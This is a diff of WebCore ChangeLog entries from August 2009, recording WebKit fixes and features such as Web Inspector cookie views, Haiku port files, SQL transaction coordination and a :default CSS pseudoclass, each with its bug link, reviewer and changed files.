+        https://bugs.webkit.org/show_bug.cgi?id=28215
+
+        This bug causes loads of test crashes, no need to add new tests
+        specifically for this.
+
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::v8StringToAtomicWebCoreString):
+
+2009-08-13  George Staikos  <george.staikos@torchmobile.com>
+
+        Rubberstamped by Darin Adler.
+
+        Use ASSERT_UNUSED instead of UNUSED_PARAM
+
+        * wml/WMLAnchorElement.cpp:
+        (WebCore::WMLAnchorElement::deregisterTask):
+        * wml/WMLDoElement.cpp:
+        (WebCore::WMLDoElement::deregisterTask):
+
+2009-08-13  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        Fixes a couple of bugs in SecurityOrigin::createFromDatabaseIdentifier.
+        https://bugs.webkit.org/show_bug.cgi?id=28262
+
+        No new tests possible.
+
+        * page/SecurityOrigin.cpp:
+        (WebCore::SecurityOrigin::createFromDatabaseIdentifier):
+
+2009-08-13  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [CAIRO] getImageData fails on a given rect bigger than the image rect
+
+        The destination image and the source image was mixed up on creating the
+        imageData.
+
+        This is just a clean up and doesn't affect the current behavior. It's not
+        possible to test this failure in a LayoutTest. Only canvas uses getImageData
+        at the moment and returns before calling getImageData, if the image rect does
+        not contain the requested rect.
+
+        * platform/graphics/cairo/ImageBufferCairo.cpp:
+        (WebCore::getImageData):
+
+2009-08-13  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Adding RenderTheme to WebCore.
+        https://bugs.webkit.org/show_bug.cgi?id=28258
+
+        * platform/haiku/RenderThemeHaiku.cpp: Added.
+        (WebCore::RenderThemeHaiku::create):
+        (WebCore::RenderTheme::themeForPage):
+        (WebCore::RenderThemeHaiku::RenderThemeHaiku):
+        (WebCore::RenderThemeHaiku::~RenderThemeHaiku):
+        (WebCore::supportsFocus):
+        (WebCore::RenderThemeHaiku::supportsFocusRing):
+        (WebCore::RenderThemeHaiku::platformActiveSelectionBackgroundColor):
+        (WebCore::RenderThemeHaiku::platformInactiveSelectionBackgroundColor):
+        (WebCore::RenderThemeHaiku::platformActiveSelectionForegroundColor):
+        (WebCore::RenderThemeHaiku::platformInactiveSelectionForegroundColor):
+        (WebCore::RenderThemeHaiku::platformTextSearchHighlightColor):
+        (WebCore::RenderThemeHaiku::systemFont):
+        (WebCore::RenderThemeHaiku::paintCheckbox):
+        (WebCore::RenderThemeHaiku::setCheckboxSize):
+        (WebCore::RenderThemeHaiku::paintRadio):
+        (WebCore::RenderThemeHaiku::setRadioSize):
+        (WebCore::RenderThemeHaiku::adjustMenuListStyle):
+        (WebCore::RenderThemeHaiku::paintMenuList):
+        * platform/haiku/RenderThemeHaiku.h: Added.
+        (WebCore::RenderThemeHaiku::supportsHover):
+
+2009-08-13  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Remove the "m_point" code from ContextMenuHaiku.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=28256
+
+        * platform/haiku/ContextMenuHaiku.cpp:
+        (WebCore::ContextMenuReceiver::ContextMenuReceiver):
+        (WebCore::ContextMenu::ContextMenu):
+        (WebCore::ContextMenu::appendItem):
+        (WebCore::ContextMenu::insertItem):
+
+2009-08-13  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        Inspector: Show Hidden Cookie Data
+        https://bugs.webkit.org/show_bug.cgi?id=28185
+
+          Added new file Cookie.h to the WebCore XCode
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+          InspectorController.cookies() binding
+
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        (WebCore::JSInspectorBackend::cookies):
+        * inspector/InspectorBackend.idl:
+
+          Struct for static Cookie information
+          (name, value, path, domain, expires, httpOnly, secure, session)
+
+        * platform/Cookie.h: Added.
+        (WebCore::Cookie::Cookie):
+        
+          Getter for the a list of raw Cookies
+          getRawCookies(., ., out Vector<Cookie>)
+        
+        * platform/CookieJar.h:
+
+          Implementation of getRawCookies for the mac platform.
+
+        * platform/mac/CookieJar.mm:
+        (WebCore::getRawCookies):
+
+          Stub other CookieJar implementations to satisfy the interface.
+
+        * platform/haiku/CookieJarHaiku.cpp:
+        (WebCore::getRawCookies):
+        * platform/network/chromium/CookieJarChromium.cpp:
+        (WebCore::getRawCookies):
+        * platform/network/curl/CookieJarCurl.cpp:
+        (WebCore::getRawCookies):
+        * platform/network/soup/CookieJarSoup.cpp:
+        (WebCore::getRawCookies):
+        * platform/network/win/CookieJarCFNetWin.cpp:
+        (WebCore::getRawCookies):
+        * platform/network/win/CookieJarWin.cpp:
+        (WebCore::getRawCookies):
+        * platform/qt/CookieJarQt.cpp:
+        (WebCore::getRawCookies):
+
+2009-08-13  Patrick Mueller  <Patrick_Mueller@us.ibm.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Add a new gesture in Web Inspector to remove breakpoints
+        https://bugs.webkit.org/show_bug.cgi?id=19131
+        
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._documentMouseDown):
+
+2009-08-13  Norbert Leser  <norbert.leser@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Symbian target components (library and executable files)
+        require Unique Identifiers (i.e., UID3).
+        These identifiers are defined in the respective project
+        file, conditionally for "symbian" platform.
+
+        * WebCore.pro:
+
+2009-08-13  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        wrong calculation of overflow size for flexbox and table
+        https://bugs.webkit.org/show_bug.cgi?id=28064
+
+        RenderFlexibleBox and RenderTable were using the width of overflow
+        to update height of overflow, so height became wrong value and
+        width was not updated. As the corresponding code of RenderBlock
+        was sane, I factored it out and used from RenderFlexibleBox and
+        RenderTable.
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::updateOverflowWithShadowAndReflection): created from code of layoutBlock
+        (WebCore::RenderBlock::layoutBlock):
+        * rendering/RenderBlock.h:
+        * rendering/RenderFlexibleBox.cpp: use updateOverflowWithShadowAndReflection
+        (WebCore::RenderFlexibleBox::layoutBlock):
+        * rendering/RenderTable.cpp:
+        (WebCore::RenderTable::layout): use updateOverflowWithShadowAndReflection
+
+2009-08-13  Mark Rowe  <mrowe@apple.com>
+
+        Revert r47185, the fix for <https://bugs.webkit.org/show_bug.cgi?id=28185>, as it broke the
+        Windows build in a non-obvious manner.
+
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        * inspector/InspectorBackend.idl:
+        * platform/Cookie.h: Removed.
+        * platform/CookieJar.h:
+        * platform/haiku/CookieJarHaiku.cpp:
+        (WebCore::setCookies):
+        (WebCore::cookies):
+        * platform/mac/CookieJar.mm:
+        * platform/network/chromium/CookieJarChromium.cpp:
+        * platform/network/curl/CookieJarCurl.cpp:
+        * platform/network/soup/CookieJarSoup.cpp:
+        * platform/network/win/CookieJarCFNetWin.cpp:
+        * platform/network/win/CookieJarWin.cpp:
+        * platform/qt/CookieJarQt.cpp:
+
+2009-08-13  Ariya Hidayat  <ariya.hidayat@nokia.com>
+
+        Not reviewed: build fix (for r47192), adding new file from
+        https://bugs.webkit.org/show_bug.cgi?id=28174
+
+        * inspector/front-end/StatusBarButton.js: Added.
+
+2009-08-13  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Introduced StatusBarButton class that encapsulates glyphs support.
+        Views updated accordingly.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28174
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/CookieItemsView.js:
+        (WebInspector.CookieItemsView):
+        (WebInspector.CookieItemsView.prototype.get statusBarItems): Updated to retrieve DOM element from StatusBarButton instance (here and in similar getters below.)
+        (WebInspector.CookieItemsView.prototype.hide):
+        (WebInspector.CookieItemsView.prototype.update):
+        * inspector/front-end/DOMStorageItemsView.js:
+        (WebInspector.DOMStorageItemsView):
+        (WebInspector.DOMStorageItemsView.prototype.get statusBarItems):
+        (WebInspector.DOMStorageItemsView.prototype.hide):
+        (WebInspector.DOMStorageItemsView.prototype.update):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel):
+        (WebInspector.ElementsPanel.prototype.get statusBarItems):
+        (WebInspector.ElementsPanel.prototype.hide):
+        (WebInspector.ElementsPanel.prototype._nodeSearchButtonClicked):
+        * inspector/front-end/Panel.js:
+        * inspector/front-end/ProfileView.js:
+        (WebInspector.ProfileView):
+        (WebInspector.ProfileView.prototype.get statusBarItems):
+        (WebInspector.ProfileView.prototype._updatePercentButton):
+        (WebInspector.ProfileView.prototype._focusClicked):
+        (WebInspector.ProfileView.prototype._excludeClicked):
+        (WebInspector.ProfileView.prototype._resetClicked):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel):
+        (WebInspector.ProfilesPanel.prototype.get statusBarItems):
+        (WebInspector.ProfilesPanel.prototype.setRecordingProfile):
+        (WebInspector.ProfilesPanel.prototype._updateInterface):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.get statusBarItems):
+        (WebInspector.ResourcesPanel.prototype.reset):
+        (WebInspector.ResourcesPanel.prototype._toggleLargerResources):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        (WebInspector.ScriptsPanel.prototype.get statusBarItems):
+        (WebInspector.ScriptsPanel.prototype._updatePauseOnExceptionsButton):
+        (WebInspector.ScriptsPanel.prototype._updateDebuggerButtons):
+        * inspector/front-end/StatusBarButton.js: Added.
+        (WebInspector.StatusBarButton):
+        (WebInspector.StatusBarButton.prototype._clicked):
+        (WebInspector.StatusBarButton.prototype.get disabled):
+        (WebInspector.StatusBarButton.prototype.set disabled):
+        (WebInspector.StatusBarButton.prototype.get title):
+        (WebInspector.StatusBarButton.prototype.set title):
+        (WebInspector.StatusBarButton.prototype.get toggled):
+        (WebInspector.StatusBarButton.prototype.set toggled):
+        (WebInspector.StatusBarButton.prototype.get visible):
+        (WebInspector.StatusBarButton.prototype.set visible):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.css: For uniformity, class names are always used to identify status bar buttons. Also, fixed "Reload" button style to use glyphs.
+        * inspector/front-end/inspector.html:
+
+2009-08-12  Ariya Hidayat  <ariya.hidayat@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Add shadow support in GraphicsContext::fillRect().
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::fillRect): Paint shadow if necessary.
+        (WebCore::GraphicsContext::setPlatformShadow): Inverse y offset.
+
+2009-08-13  David Levin  <levin@chromium.org>
+
+        Unreviewed build fix for Chromium Linux.
+
+        Rollback r47157 as this broke debug tests of Chromium Linux.
+
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::setupPaintCommon):
+
+2009-08-13  David Levin  <levin@chromium.org>
+
+        Unreviewed build fix for chromium.
+
+        The chromium build broke due to r47185 which added
+        a cookies array to inspector/InspectorBackend.idl.
+
+        * bindings/v8/custom/V8CustomBinding.h: Added the declaration for the cookies callback.
+        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL(InspectorBackendCookies)): Stubbed out an implementation
+         for the cookies callback.
+
+2009-08-12  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Show Hidden Cookie Data
+        https://bugs.webkit.org/show_bug.cgi?id=28185
+
+          Added new file Cookie.h to the WebCore XCode
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+          InspectorController.cookies() binding
+
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        (WebCore::JSInspectorBackend::cookies):
+        * inspector/InspectorBackend.idl:
+
+          Struct for static Cookie information
+          (name, value, path, domain, expires, httpOnly, secure, session)
+
+        * platform/Cookie.h: Added.
+        (WebCore::Cookie::Cookie):
+        
+          Getter for the a list of raw Cookies
+          getRawCookies(., ., out Vector<Cookie>)
+        
+        * platform/CookieJar.h:
+
+          Implementation of getRawCookies for the mac platform.
+
+        * platform/mac/CookieJar.mm:
+        (WebCore::getRawCookies):
+
+          Stub other CookieJar implementations to satisfy the interface.
+
+        * platform/haiku/CookieJarHaiku.cpp:
+        (WebCore::getRawCookies):
+        * platform/network/chromium/CookieJarChromium.cpp:
+        (WebCore::getRawCookies):
+        * platform/network/curl/CookieJarCurl.cpp:
+        (WebCore::getRawCookies):
+        * platform/network/soup/CookieJarSoup.cpp:
+        (WebCore::getRawCookies):
+        * platform/network/win/CookieJarCFNetWin.cpp:
+        (WebCore::getRawCookies):
+        * platform/network/win/CookieJarWin.cpp:
+        (WebCore::getRawCookies):
+        * platform/qt/CookieJarQt.cpp:
+        (WebCore::getRawCookies):
+
+2009-08-08  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: Cookies in Storage Panel
+        https://bugs.webkit.org/show_bug.cgi?id=27202
+
+          Data Structure for a Cookie. Just Key/Value for Now:
+
+        * inspector/front-end/Cookie.js: Added.
+        (WebInspector.Cookie):
+        (WebInspector.Cookie.prototype.get key):
+        (WebInspector.Cookie.prototype.set key):
+        (WebInspector.Cookie.prototype.get value):
+        (WebInspector.Cookie.prototype.set value):
+
+          A Storage View for Cookies.  Allows for Refresh/Delete:
+
+        * inspector/front-end/CookieItemsView.js: Added.
+        (WebInspector.CookieItemsView):
+        (WebInspector.CookieItemsView.prototype.get statusBarItems): refresh and delete buttons
+        (WebInspector.CookieItemsView.prototype.show):
+        (WebInspector.CookieItemsView.prototype.hide):
+        (WebInspector.CookieItemsView.prototype.update):
+        (WebInspector.CookieItemsView.prototype.buildCookies): parses the inspected window's document.cookie string
+        (WebInspector.CookieItemsView.prototype.dataGridForCookies): creates a datagrid for cookies
+        (WebInspector.CookieItemsView.prototype._deleteButtonClicked): attempt at deleting the cookie (not flawless)
+        (WebInspector.CookieItemsView.prototype._refreshButtonClicked): rebuild the datagrid
+
+          Include a SidebarSection Section in the Databases Panel:
+
+        * inspector/front-end/DatabasesPanel.js:
+        (WebInspector.DatabasesPanel):
+        (WebInspector.DatabasesPanel.prototype.show): calls populateInterface
+        (WebInspector.DatabasesPanel.prototype.populateInterface): adds cookies if they don't exist
+        (WebInspector.DatabasesPanel.prototype.reset): remove cookie specific parts
+        (WebInspector.DatabasesPanel.prototype.addCookies): add cookies sidebar tree element
+        (WebInspector.DatabasesPanel.prototype.showCookies): sets the visible view to a CookiesItemView
+        (WebInspector.CookieSidebarTreeElement):
+        (WebInspector.CookieSidebarTreeElement.prototype.onselect):
+        (WebInspector.CookieSidebarTreeElement.prototype.get mainTitle): just "Cookies" at the moment
+        (WebInspector.CookieSidebarTreeElement.prototype.set mainTitle):
+        (WebInspector.CookieSidebarTreeElement.prototype.get subtitle): no subtitle yet
+        (WebInspector.CookieSidebarTreeElement.prototype.set subtitle):
+
+          New "Cookies" Image for the Sidebar:
+
+        * inspector/front-end/Images/cookie.png: Added.
+        * inspector/front-end/inspector.css:
+
+          Include the Added Files where appropriate:
+
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+
+2009-08-12  George Wright  <george.wright@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        Add SQLTransactionCoordinator.[h,cpp] to WebCore.pro.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28246
+
+        * WebCore.pro:
+
+2009-08-12  George Staikos  <george.staikos@torchmobile.com>
+
+        Reviewed by Adam Treat.
+
+        Mark unused variables to avoid compile failures in -Werror.
+
+        * wml/WMLAnchorElement.cpp:
+        (WebCore::WMLAnchorElement::deregisterTask):
+        * wml/WMLDoElement.cpp:
+        (WebCore::WMLDoElement::deregisterTask):
+
+2009-08-12  Charles Wei  <charles.wei@torchmobile.com.cn>
+
+        Reviewed by Niko Zimmermann.
+
+        This is to add WCSS marquee support , which is defined by OMA and is an extension for CSS2, 
+        It extends CSS display with "display:-wap-marquee;-wap-marquee-dir:xxx;-wap-marquee-speed:xxx;-wap-marquee-style:xxx"
+        Minor fixes by Eric Seidel and George Staikos.
+        https://bugs.webkit.org/show_bug.cgi?id=23727
+
+        No new tests, the tests have already been landed at LayoutTests/fast/wcss/
+
+        * WebCore.pro:
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+        * css/CSSValueKeywords.in:
+        * css/WCSSPropertyNames.in: Added.
+        * css/WCSSValueKeywords.in: Added.
+        * rendering/RenderMarquee.cpp:
+        (WebCore::RenderMarquee::start):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::createObject):
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::):
+
+2009-08-12  George Wright  <george.wright@torchmobile.com>
+
+        Reviewed by David Hyatt.
+
+        Update the canvas renderer's intrinsic size with the zoomed
+        lengths and ensure the intrinsic size is correct when setting
+        an initial style.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26908
+
+        Test: fast/canvas/canvas-zoom.html
+
+        * rendering/RenderHTMLCanvas.cpp:
+        (WebCore::RenderHTMLCanvas::canvasSizeChanged):
+        * rendering/RenderReplaced.cpp:
+        (WebCore::RenderReplaced::styleDidChange):
+
+2009-08-12  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by Simon Fraser.
+
+        Fix regression for dragging the media controller thumb.
+        https://bugs.webkit.org/show_bug.cgi?id=28211
+
+        Modified the conditions for rejecting events on the media controller
+        to only rejecting mouse events not from the left button.
+
+        Test: media/controls-drag-timebar.html
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlTimelineElement::defaultEventHandler):
+
+2009-08-12  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fixing a deadlock caused by two transactions that run on two
+        different database handles for the same DB. Adding a per-DB thread
+        transaction coordinator that allows the DB thread to run only one
+        transaction per DB file at any given time.
+
+        Adding a regression test for this bug.
+
+        Test: storage/multiple-transactions-on-different-handles.html
+
+        https://bugs.webkit.org/show_bug.cgi?id=27966
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * storage/Database.cpp:
+        (WebCore::Database::transactionCoordinator):
+        * storage/Database.h:
+        * storage/DatabaseThread.cpp:
+        (WebCore::DatabaseThread::DatabaseThread):
+        * storage/DatabaseThread.h:
+        (WebCore::DatabaseThread::transactionCoordinator):
+        * storage/SQLTransaction.cpp:
+        (WebCore::SQLTransaction::SQLTransaction):
+        (WebCore::SQLTransaction::debugStepName):
+        (WebCore::SQLTransaction::performNextStep):
+        (WebCore::SQLTransaction::aquireLock):
+        (WebCore::SQLTransaction::lockAquired):
+        (WebCore::SQLTransaction::cleanupAfterSuccessCallback):
+        (WebCore::SQLTransaction::cleanupAfterTransactionErrorCallback):
+        * storage/SQLTransaction.h:
+        * storage/SQLTransactionCoordinator.cpp: Added.
+        * storage/SQLTransactionCoordinator.h: Added.
+
+2009-08-12  Darin Adler  <darin@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Custom properties on DOM objects are lost after GC (as demonstrated by the gc-9.html test)
+        https://bugs.webkit.org/show_bug.cgi?id=28194
+
+        * GNUmakefile.am: Added the two new source files.
+        * WebCore.gypi: Ditto.
+        * WebCore.pro: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * WebCoreSources.bkl: Ditto.
+
+        * bindings/js/JSCSSRuleListCustom.cpp: Added.
+        (WebCore::JSCSSRuleList::markChildren): Call markDOMObjectWrapper
+        on rules in the list.
+
+        * bindings/js/JSCSSStyleDeclarationCustom.cpp:
+        (WebCore::JSCSSStyleDeclaration::markChildren): Added. Call
+        markDOMObjectWrapper on the CSSValue objects that are owned by the
+        declaration as values of the properties.
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::isObservableThroughDOM): Added code to handle some
+        cases where nodes are observable because they own objects that
+        in turn have custom properties.
+
+        * bindings/js/JSDOMBinding.h: Fix a typo in the header.
+
+        * bindings/js/JSDocumentCustom.cpp:
+        (WebCore::JSDocument::markChildren): Added call to markDOMObjectWrapper
+        for implementation and styleSheets.
+
+        * bindings/js/JSElementCustom.cpp:
+        (WebCore::JSElement::markChildren): Added. Calls markDOMObjectWrapper
+        for attributes and style.
+
+        * bindings/js/JSHTMLCanvasElementCustom.cpp: Added.
+        (WebCore::JSHTMLCanvasElement::markChildren): Call markDOMObjectWrapper
+        on the rendering context.
+
+        * bindings/js/JSStyleSheetCustom.cpp:
+        (WebCore::JSStyleSheet::markChildren): Call markDOMObjectWrapper on
+        items in the stylesheet.
+
+        * bindings/js/JSStyleSheetListCustom.cpp:
+        (WebCore::JSStyleSheetList::markChildren): Added. Calls
+        markDOMObjectWrapper on stylesheets in the list.
+
+        * css/CSSRuleList.idl: Added CustomMarkFunction.
+        * css/CSSStyleDeclaration.idl: Ditto.
+        * css/StyleSheetList.idl: Ditto.
+        * dom/Element.idl: Ditto.
+        * html/HTMLCanvasElement.idl: Ditto.
+
+        * dom/Element.h: Made everything private that could be.
+        Added access to the attributeMap that does returns
+        the existing map without doing any of the lazy-updating work. This
+        is needed to get at the existing attributes during garbage collection
+        without having side effects.
+
+        * html/HTMLCanvasElement.h: Cleaned up the header a bit, making
+        members private. Added renderingContext2D function for use in
+        JSHTMLCanvasElement::markChildren.
+
+2009-08-12  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        Fixes two bugs about Pan Scrolling - Scrolling with middle mouse button doesn't 
+        work in Expanded view on reader.google.com, and Can enter auto scroll from a non-scrollable area.
+        https://bugs.webkit.org/show_bug.cgi?id=28023
+        https://bugs.webkit.org/show_bug.cgi?id=24794
+        
+        Added a new method to RenderBox seeing if the Box can be scrolled and actually has something to
+        scroll, and use that for pan scrolling.
+
+        Test: platform/win/fast/events/panScroll-nested-divs.html
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleMouseDraggedEvent):
+        (WebCore::EventHandler::updateAutoscrollRenderer):
+        (WebCore::EventHandler::handleMousePressEvent):
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::canBeScrolledAndHasScrollableArea):
+        * rendering/RenderBox.h:
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::scrollByRecursively):
+
+2009-08-12  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Fix of <rdar://6728361> Mouse wheel scrolling on a page with expanded drop down 
+        list detaches drop down.
+
+        Added a function for Windows PopupMenu's to return their class name.
+
+         * platform/PopupMenu.h:
+         * platform/win/PopupMenuWin.cpp:
+         (WebCore::PopupMenu::popupClassName):
+
+2009-08-12  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Dan Bernstein.
+
+        WINCE PORT: Color and Gradient
+        https://bugs.webkit.org/show_bug.cgi?id=27511
+
+        * platform/graphics/wince/ColorWince.cpp: Added.
+        * platform/graphics/wince/GradientWince.cpp: Added.
+
+2009-08-12  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        fix a typo in platform/graphics/skia/PlatformContextSkia.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=28172
+
+        No new tests because it's a just typo fix.
+
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::setupPaintCommon):
+
+2009-08-12  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27458
+        Support for the :default CSS pseudoclass, as per HTML5 spec.
+        http://www.whatwg.org/specs/web-apps/current-work/multipage/interactive-elements.html#selector-default
+
+        Tests: fast/css/pseudo-default-001.html
+               fast/css/pseudo-default-002.html
+               fast/css/pseudo-default-003.html
+               fast/css/pseudo-default-004.html
+
+        * css/CSSSelector.cpp:
+        (WebCore::CSSSelector::extractPseudoType): pseudoDefault
+        * css/CSSSelector.h:
+        (WebCore::CSSSelector::):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::canShareStyleWithElement): sharing stuff is
+        aware that only one default button can be present in a form
+        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector): applies
+        the :default CSS pseudoclass
+        * dom/Element.h:
+        (WebCore::Element::isDefaultButtonForForm): new method to determine
+        whether a FormControl is a default button for a given form
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::isDefaultButtonForForm): ditto
+        * html/HTMLFormControlElement.h:
+        * html/HTMLFormElement.cpp:
+        (WebCore::HTMLFormElement::defaultButton): extracts the default button
+        from the form
+        * html/HTMLFormElement.h:
+
+2009-08-12  David Levin  <levin@chromium.org>
+
+        No review, rolling out r47106.
+        https://bugs.webkit.org/show_bug.cgi?id=28215
+
+        This patch relied on a new version of v8 which is not available
+        in chromium yet.
+
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::v8StringToAtomicWebCoreString):
+
+2009-08-12  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Bug 26993 : Geolocation::requestPermission()
+        https://bugs.webkit.org/show_bug.cgi?id=26993
+
+        Second patch to allow the Geolocation permission request to chrome to be asynchronous
+        or synchronous. Fixes a bug where callbacks were called twice when permissions
+        are granted synchronously.
+
+        No new tests required.
+
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::setIsAllowed): Modified. Calls makeSuccessCallbacks() rather than geolocationServicePositionChanged().
+        (WebCore::Geolocation::geolocationServicePositionChanged): Modified. Updated logic to avoid repeated callbacks when permissions are granted synchronously.
+        (WebCore::Geolocation::makeSuccessCallbacks): Added. Calls success callbacks.
+        * page/Geolocation.h: Modified. Adds makeSuccessCallbacks().
+
+2009-08-12  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        <rdar://problem/6952336>
+        CrashTracer: [USER] 3 crashes in Safari at com.apple.WebCore • WebCore::SecurityOrigin::canAccess const 27
+
+        Make sure to set the security origin before calling dispatchWindowObjectAvailable.
+        
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::begin):
+
+2009-08-12  Xiaomei Ji  <xji@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix [Chromium] drop down menu letter selection, skip selections
+        https://bugs.webkit.org/show_bug.cgi?id=28205
+
+        Not auto-testable since it is chromim platform specific code, and it involves sending a keyboard 
+        event to the popup, which is not possible (eventSender sends the key
+        events through webview, we want to go through the webwidget).
+
+        * manual-tests/keyboard_select_elements_with_same_beginning.html: Added.
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::isCharacterTypeEvent): style change.
+        (WebCore::PopupListBox::handleKeyEvent): typeAheadFind should be called only when the event is
+        a character type event to avoid calling twice for English.
+        (WebCore::PopupListBox::typeAheadFind): remove unnecessary checking of isCharacterTypeEvent() since the whole function is only called under that condition.
+
+2009-08-12  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Adding GraphicsContext to WebCore/platform/graphics/haiku.
+        https://bugs.webkit.org/show_bug.cgi?id=28130
+
+        * platform/graphics/haiku/GraphicsContextHaiku.cpp: Added.
+        (WebCore::GraphicsContextPlatformPrivate::GraphicsContextPlatformPrivate):
+        (WebCore::GraphicsContextPlatformPrivate::~GraphicsContextPlatformPrivate):
+        (WebCore::GraphicsContext::GraphicsContext):
+        (WebCore::GraphicsContext::~GraphicsContext):
+        (WebCore::GraphicsContext::platformContext):
+        (WebCore::GraphicsContext::savePlatformState):
+        (WebCore::GraphicsContext::restorePlatformState):
+        (WebCore::GraphicsContext::drawRect):
+        (WebCore::GraphicsContext::drawLine):
+        (WebCore::GraphicsContext::drawEllipse):
+        (WebCore::GraphicsContext::strokeArc):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::drawConvexPolygon):
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::fillRoundedRect):
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::beginPath):
+        (WebCore::GraphicsContext::addPath):
+        (WebCore::GraphicsContext::clip):
+        (WebCore::GraphicsContext::drawFocusRing):
+        (WebCore::GraphicsContext::drawLineForText):
+        (WebCore::GraphicsContext::drawLineForMisspellingOrBadGrammar):
+        (WebCore::GraphicsContext::roundToDevicePixels):
+        (WebCore::GraphicsContext::beginTransparencyLayer):
+        (WebCore::GraphicsContext::endTransparencyLayer):
+        (WebCore::GraphicsContext::clearRect):
+        (WebCore::GraphicsContext::strokeRect):
+        (WebCore::GraphicsContext::setLineCap):
+        (WebCore::GraphicsContext::setLineJoin):
+        (WebCore::GraphicsContext::setMiterLimit):
+        (WebCore::GraphicsContext::setAlpha):
+        (WebCore::GraphicsContext::setCompositeOperation):
+        (WebCore::GraphicsContext::clipOut):
+        (WebCore::GraphicsContext::clipToImageBuffer):
+        (WebCore::GraphicsContext::getCTM):
+        (WebCore::GraphicsContext::translate):
+        (WebCore::GraphicsContext::origin):
+        (WebCore::GraphicsContext::rotate):
+        (WebCore::GraphicsContext::scale):
+        (WebCore::GraphicsContext::clipOutEllipseInRect):
+        (WebCore::GraphicsContext::addInnerRoundedRectClip):
+        (WebCore::GraphicsContext::concatCTM):
